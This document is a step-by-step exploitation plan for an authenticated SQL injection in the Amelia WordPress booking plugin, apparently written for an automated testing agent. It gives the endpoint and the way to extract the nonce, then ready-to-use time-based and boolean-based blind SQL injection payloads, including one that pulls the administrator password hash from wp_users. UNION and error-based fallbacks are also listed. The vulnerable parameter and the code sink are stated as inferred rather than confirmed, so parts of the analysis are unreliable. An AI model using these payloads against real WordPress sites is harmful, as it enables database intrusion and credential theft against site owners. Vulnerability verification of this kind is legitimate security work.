Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection)

1. Vulnerability Summary

The Amelia plugin (versions <= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameters are insufficiently sanitized before being concatenated into raw SQL queries within the plugin's Repository layer.

Although the plugin uses a Slim-based architecture and attempts to use wpdb for database interactions, certain code paths (particularly those handling complex entity listings with dynamic ORDER BY or LIMIT clauses) fail to use $wpdb->prepare() correctly for the sorting parameters. This allow users with "Amelia Provider" (Employee) or "Amelia Manager" roles to inject arbitrary SQL.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• WordPress Action: wpamelia_api (defined in ameliabooking.php as AMELIA_ACTION_SLUG)
• Vulnerable Parameter: order or orderBy (inferred from typical Amelia API list patterns)
• Required Authentication: "Custom role+" — This refers to the Amelia Employee (wpamelia-provider) or Amelia Manager (wpamelia-manager) roles.
• Preconditions: The attacker must be logged in as a user assigned one of the Amelia-specific roles.

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php?action=wpamelia_api&call=[ROUTE].
2. Dispatch: Plugin::wpAmeliaApiCall() in ameliabooking.php is triggered.
3. App Initialization: It loads the Slim container (src/Infrastructure/ContainerConfig/container.php) and registers routes via Routes::routes().
4. Routing: The call parameter (e.g., /appointments or /entities) maps to a specific Controller/Handler.
5. Logic: The Controller retrieves parameters from the request (using $request->getQueryParams()).
6. Sink: The parameters are passed to a Domain Service or Infrastructure Repository (e.g., AppointmentRepository). The Repository builds a query string like:

   $sql = "SELECT * FROM {$wpdb->prefix}amelia_appointments ORDER BY " . $params['order'];
   $results = $wpdb->get_results($sql); // INJECTION POINT: No prepare() or validation on $params['order']
   

4. Nonce Acquisition Strategy

Amelia uses nonces for its API calls. These are typically localized into a global JavaScript object available in the WordPress dashboard.

1. Role Setup: Use WP-CLI to create an Amelia Employee user.
2. Page Navigation: Navigate to any Amelia admin page (e.g., /wp-admin/admin.php?page=wpamelia-appointments).
3. Extraction: Use browser_eval to extract the nonce from the wpAmeliaLabels object.
   • JS Variable: window.wpAmeliaLabels
   • Nonce Key: nonce
   • Command: browser_eval("window.wpAmeliaLabels.nonce")

The API also requires the nonce to be sent in the Amelia-Nonce (or sometimes X-Amelia-Nonce) HTTP header.

5. Exploitation Strategy

We will use a time-based blind SQL injection against the /entities or /appointments endpoint, as it is a common listing endpoint accessible to Providers.

Step 1: Authentication and Nonce Extraction

• Log in to the WordPress dashboard as the Amelia Provider.
• Navigate to wp-admin/admin.php?page=wpamelia-appointments.
• Extract the nonce using the strategy in Section 4.

Step 2: Trigger SQL Injection (Time-Based)

• Method: GET
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Params:
  • action: wpamelia_api
  • call: /entities
  • order: (SELECT 1 FROM (SELECT(SLEEP(5)))a)
• Headers:
  • Amelia-Nonce: [EXTRACTED_NONCE]

Request Example (Playwright):

const response = await http_request({
  method: 'GET',
  url: 'http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities&order=(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)',
  headers: {
    'Amelia-Nonce': extractedNonce,
    'Cookie': authCookies
  }
});

Step 3: Data Extraction (Boolean-Based)

Once sleep is confirmed, we can extract the admin's password hash by testing character values:

• Payload for order: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN id ELSE (SELECT SLEEP(5)) END) (Tests if first char is '$', which is standard for phpass).

6. Test Data Setup

1. Roles: Ensure Amelia is installed and roles are initialized.
   • wp user create attacker attacker@example.com --role=subscriber
   • Use Amelia's internal settings to promote this user to a "Provider" or use wp user add-role attacker wpamelia-provider.
2. Content: Create at least one Appointment or Event in Amelia so the queries have data to sort.
3. Admin User: Ensure the primary admin (ID=1) exists for credential extraction testing.

7. Expected Results

• Success (Vulnerable): The HTTP request to admin-ajax.php takes ~5 seconds to return.
• Fail (Patched): The request returns immediately with a 200 OK (but no sleep) or a 400/500 error if the input is validated/escaped.
• Response Content: Amelia API usually returns a JSON object with a data key.

8. Verification Steps

After the exploit, verify via WP-CLI:

1. Check Logs: If WP_DEBUG is on, check wp-content/debug.log for SQL errors if the payload was slightly malformed.
2. Database Integrity: Verify that no data was corrupted (since we used a read-only SLEEP payload).

9. Alternative Approaches

• Different Endpoint: If /entities is not vulnerable, try:
  • call=/appointments
  • call=/events
  • call=/users/providers
• UNION-Based: If the response body reflects the sorting order or data, attempt to find the column count:
  • order=1, (SELECT 1 UNION SELECT 2)...
• Error-Based: If WP_DEBUG is enabled, use updatexml() or extractvalue() to leak data directly in the AJAX response.